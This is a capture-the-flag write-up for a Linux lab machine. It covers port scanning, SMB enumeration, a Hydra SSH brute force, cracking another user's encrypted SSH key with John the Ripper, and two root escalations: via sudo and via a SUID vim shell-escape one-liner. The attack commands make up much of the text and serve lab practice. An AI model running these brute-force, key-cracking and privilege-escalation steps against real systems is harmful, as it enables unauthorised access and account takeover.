1. Recon

Nmap scan result :

PORT	STATE SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
139/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	
445/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)	
8009/tcp open	ajp13	syn-ack ttl 63 Apache Jserv (Protocol v1.3)	
8080/tcp open	http	syn-ack ttl 63 Apache Tomcat 9.0.7	

SSH

An ssh server is running on port 22, but we don't have any creds yet.

SMB

On port 139/445 a Samba server is running, using the enum4linux script we can find useful informations :

A share :

```
 Sharename       Type      Comment
---------       ----      -------
Anonymous       Disk
IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
```

Two users : S-1-22-1-1000 Unix User\kay (Local User) S-1-22-1-1001 Unix User\jan (Local User)

We can connect to the anonymous share :

> smbclient //IP/anonymous Where we can retrieve "staff.txt", where we found again the two usernames : jan and kay.

WEB

On port 80, we reach a website "Under maintenance" but, in the source code we can find : Meaning we can find something else on this website. Using gobuster : /development

We can retrieve "j.txt" saying : For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

Knowing that jan has a weak password, we can try to bruteforce it.

2. Bruteforcing SSH

To bruteforce the credentials, i will use Hydra :

```
hydra -l jan -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt IP ssh
```

Result :

```
[22][ssh] host: 10.10.79.44 login: jan password: [REDACTED]
```

We can now ssh to jan.

3. Privesc #1 SSH

When exploring around, we can find that we have a read access over the ssh keys of kan.

```
/home/kan/.ssh/id_rsa
```

But we have a problem, the key is encrypted. We will need to crack the pass, for this, we will use JohnTheRipper, but first we need to make it crackable by john.

Use of ssh2john

```
ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

This will give us the password of the key.

We can now connect to kan using ssh and the key.

```
ssh kay@IP -i id_rsa put the key passphrase found above
```

pass.bak

In the home directory of kay, we can find the "pass.bak" file, containing a password trying "sudo -l" using the password will show :

```
Matching Defaults entries for kay on basic2: env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User kay may run the following commands on
basic2: (ALL : ALL) ALL
```

We can easily get root using :

```
sudo su
```

4. Privesc 2 : SUID file

In our standard account Jan, we can find an abnormal SUID file using :

```
find / -perm -u=s 2> /dev/null
```

```
/usr/bin/vim.basic
```

Which is a version of vim. Using GTFObin, we can find that vim with SUID bit set, can be use to get root with :

```
/path/to/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

Since the machine don't have python installed but python3, we need to use :

```
/path/to/vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

> ```
> /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
> ```

We now have root access.